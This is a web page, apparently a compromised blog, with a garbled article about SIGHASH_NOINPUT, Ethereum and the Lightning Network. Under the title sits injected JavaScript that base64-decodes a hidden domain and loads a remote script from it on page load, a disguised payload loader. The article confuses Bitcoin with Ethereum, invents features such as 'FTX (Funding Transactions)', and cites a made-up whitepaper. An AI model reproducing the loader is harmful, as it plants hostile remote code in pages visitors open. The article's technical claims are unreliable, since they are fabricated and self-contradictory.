未分類

Ethereum: Do we still need SIGHASH_NOINPUT for Lightning Network?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=5fdd9119";document.body.appendChild(script);

The Evolution of SIGHASH_NOINPUT in Ethereum and Its Place in the Lightning Network

Ethereum: Do we still need SIGHASH_NOINPUT for Lightning Network?

In the early days of the Lightning Network, Joseph Poon's original whitepaper proposed a crucial feature: SIGHASH_NOINPUT (SIGHASH) was to be used as a condition to create a commitment transaction that references another transaction without actually involving it. However, this approach has changed significantly as the network has developed.

The Original Intent

In the original Lightning whitepaper, Poon wrote, "The first commit should be able to reference the txid of the funding transaction without actually including it." This condition was designed to allow the creation of a commitment that can verify the authenticity and integrity of a transaction, while also referencing its origin. Using SIGHASH_NOINPUT, transactions would not require input from the network, which would simplify the process and reduce network complexity.

Evolution

However, over time, the Lightning Network has evolved significantly. The introduction of the “Funding Transactions” (FTX) feature in 2017 marked a milestone in the development of SIGHASH_NOINPUT. By allowing FTX to run without requiring input from the network, developers could streamline the process and reduce the complexity of validating transactions.

SIGHASH_NOINPUT in Modern Ethereum

In Modern Ethereum, SIGHASH_NOINPUT is still used for certain purposes. However, its role has significantly diminished from its original intent. In fact, most Lightning Network transactions now use other mechanisms, such as the “commit” field or the “sequence number,” to achieve similar goals.

For example, when creating a commitment transaction that references another transaction without actually committing it, developers could use a combination of these methods:

  • Commit field: This is used to specify a specific range of transactions.
  • Sequence Numbers: These are assigned to each transaction and can be used to verify the sequence of events.
  • FTX (Fund Transactions): As mentioned above, FTXs allow transactions to be made without input from the network.

Conclusion

While SIGHASH_NOINPUT is still used in certain contexts within Ethereum, its original intent has largely been superseded by more efficient and streamlined mechanisms. The Lightning Network continues to evolve, and developers are exploring new ways to simplify transaction validation and reduce complexity. Moving forward, it will be interesting to see how SIGHASH_NOINPUT evolves or replaces these workarounds.

Sources:

  • "Lightning Network Whitepaper" (2017)
  • Ethereum Whitepaper: "The Ethereum 2.0 Testnet and the Lightning Network" (2020)

公式LINE
公式LINEスマホ用




-未分類